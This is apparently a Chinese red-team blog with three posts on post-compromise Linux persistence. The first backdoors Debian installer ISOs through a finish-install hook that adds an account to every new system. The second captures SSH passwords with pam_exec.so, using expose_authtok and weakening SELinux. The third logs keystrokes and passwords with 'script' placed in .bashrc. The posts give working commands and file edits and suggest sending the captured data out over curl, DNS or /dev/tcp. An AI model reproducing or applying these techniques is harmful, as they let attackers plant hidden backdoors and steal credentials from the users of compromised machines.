2025-05-19 | 技术文章 |
前言
打下基础设施,比如vcenter/kvm或者什么云管平台后台,再或者比如控了个什么NAS。想要进行后续控制,新安装一台再手动控制一台肯定是不行的。有没有个办法感染了它们的ISO,后续它们新安装一台就中我们的马一次呢?
得益于linux的开源属性,我们当然能直接自己构建一个linux-installer,但是从零构建太花时间了,我们直接用一个快速的解决方案来对iso进行加料
操作
按照debian发行版为例,安装流程如下,安装程序实际运行的是目录下的install.amd里的initrd.gz镜像

其中,使用图形化脚本安装的是使用gtk文件夹下的initrd.gz,使用命令行则是用xen目录下,两个initrd.gz没有太大区别
我们仔细分析initrd.gz,发现是一个gz文件和一个cpio文件,打开能很轻松的看到文件目录

加料
首先先解压initrd.gz,直接
gunzip initrd.gz
我们就获得了initrd这个cpio文件
然后使用命令
cpio -idm -D target < initrd
解压到目录target文件夹。
之后我们进入文件夹,写入helloworld.txt

然后再反向操作进行打包,使用命令
find . | cpio -o -H newc > ../initrd
cd ..
gzip initrd
这样就得到回initrd.gz文件了,然后再使用ultraISO把debian安装脚本的gtk/xen中的initrd.gz文件替换
然后挂载启动我们的安装脚本,在图形界面按下ctrl+alt+F2进入tty,就能在文件系统里看到我们的helloworld.txt了

恶意负载
我们成功达成了修改安装程序,之后就是进行加料。通过分析发现,安装程序是把我们磁盘挂载到/target目录,然后进行写入基础系统的操作。我们只需要在安装程序结束之后,对/target目录下的文件系统写入我们的负载即可达成我们想要的目标
如何判断安装程序结束呢?好在查看文档之后我发现了它自带HOOK,查看官方文档
https://salsa.debian.org/installer-team/debian-installer/-/blob/master/doc/devel/internals/available-hooks.xml
/usr/lib/finish-install.d/* [finish-install]
此目录中的文件将在安装结束时执行。
因此我们直接在该目录添加我们的脚本

注意要小于95,因为95是umount卸载目标了,没办法写入。所以要在此之前就进行操作

当系统安装完成后,就可以看到我们的账户成功加入进去了

最后
成功做到了一个加用户的操作后,后续更多的玩法就不用说了,这个操作写入文件之后甚至不需要重启,因为默认就是第一次启动
轻松的达到了出厂就带后门的效果,简单的效果就是写rc启动项,复杂点就是写内核模块玩rootkit,再复杂点甚至上bootkit都可以。这些就看各位自己操作了。
2024-07-10 | 技术文章 |
前言
从老外那新学一招:https://www.youtube.com/watch?v=FQGu9jarCWY
开始
先说优点,系统自带不安装第三方应用,不用重启,和strace方法相比不会生成过大的文件,能自动清理自身不留痕迹,能远程发送
缺点:要临时关闭selinux
pam_exec.so是系统自带的详细自己查看文档就行,然后如果我们要记录密码呢,只需要在/etc/pam.d/sshd的第一行,加上
auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh

其中最后执行脚本的路径可以换,一定要放在第一行,有处理的优先级问题
然后在/tmp/sshd.sh里写上语句
#!/bin/sh
echo "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log
还要记住一定要设置所有用户得可执行权限!!! chmod 777 /tmp/sshd.sh或者chmod u+x /tmp/sshd.sh,不然也会执行失败
然后连接ssh到我们自己,就可以抓到密码辣

能写bash这下玩法就多了,比如curl/dns发送密码,抓到密码自动删除等等
当然这会有两个问题,一个是默认要关闭selinux,不然抓不到
问题一: selinux
当你修改完上面问题之后发现不生效,可以查看/var/log/secure
会发现如下内容

这时候需要执行setenforce 0临时关闭selinux才可以执行抓脚本的密码
如果担心被发现可以在上面脚本最后加上setenforce 1,抓到密码后恢复selinux状态
不过这样不太稳妥,可能会有EDR监控关闭selinux的行为,我们一关就告警。
还有一种方案就是修改selinux规则,在我们修改完规则之后,使用
audit2allow -a
audit2allow -a -M local
semodule -i local.pp
来修改selinux规则,但是有些发行版默认不带audit2allow,所以自行取舍
问题二:判断密码正确
默认这个方案是扫描所有密码然后储存,无法区分哪个是正确哪个是错误。
Ippsec的方法是,把auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh的expose_authtok约束删了,然后放在认证成功后面
这样子如果脚本接收到一个空字符的信号,就代表程序PAM已经走到密码已经通过验证的那个步骤,那么就代表上一次抓取的密码是正确的,这一步骤可能造成条件竞争?我不知道,但是它也是能工作的,所以从视频里可以看到ippsec用go代码实现了这个流程
要是换我的话可能会用另一个暴力方法实现,那就是直接读取/etc/shadow,用我们脚本手动验证一遍hash是否正确。当然这可能会有更大的延迟,但是也许不会有条件竞争,懒得写了,咕咕咕。用到再说吧
没了
2021-12-14 | 技术文章 |
前言
日了几台机器,虽说部分机器有ROOT,可以直接用之前的 一般路过PAM后门 / SSH密码记录,来替换PAM,用于记录密码。
然而问题是,这货上了LDAP,还自己改了改他们的PAM,所以直接替换PAM的方案行不通了。
而且有一个跳板机,我们没有低权限,但是当前用户却会用这台机器连接其他目标,使用的都是一些我们没找到的凭据。
那么有没有什么办法能搞到他们呢?
最开始预想的是用go,自己写一个,直接起个pty直接io.copy用户输入和bash,然后我们监听目标输入就行。
之后在群里大佬的提拔下。知道了还有script这个好东西。
直接一句
exec script -B /tmp -aqf
没有-B参数把-B参数删了其实也没差

经过测试,SSH输入的密码也能记录。简直就是linux自带后门
然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc下的最后一行,发现并不能work。
了解了下才发现,这个语句会加载bashrc的脚本造成这行代码的递归调用。
说到底就是加载.bashrc,bashrc运行script,script加载bashrc,bashrc加载script这样循环....
解决方案也很简单。直接在最后一行换成
if [ -f /tmp/script.lock ];then
rm /tmp/script.lock
else
echo lock > /tmp/script.lock
exec script -B /tmp/test -aqf
fi
这样就成啦
进阶
本来想着这个-B参数能不能用类似/dev/tcp这种文件符号直接发送到远端,这样我们只要开着个接收器别人的密码就来了更安全更隐蔽。
或者加一个远端连不上就自动删除.bashrc的这行类似代码。。然而实际上并不行。。。于是乎就靠各位大佬们解决啦。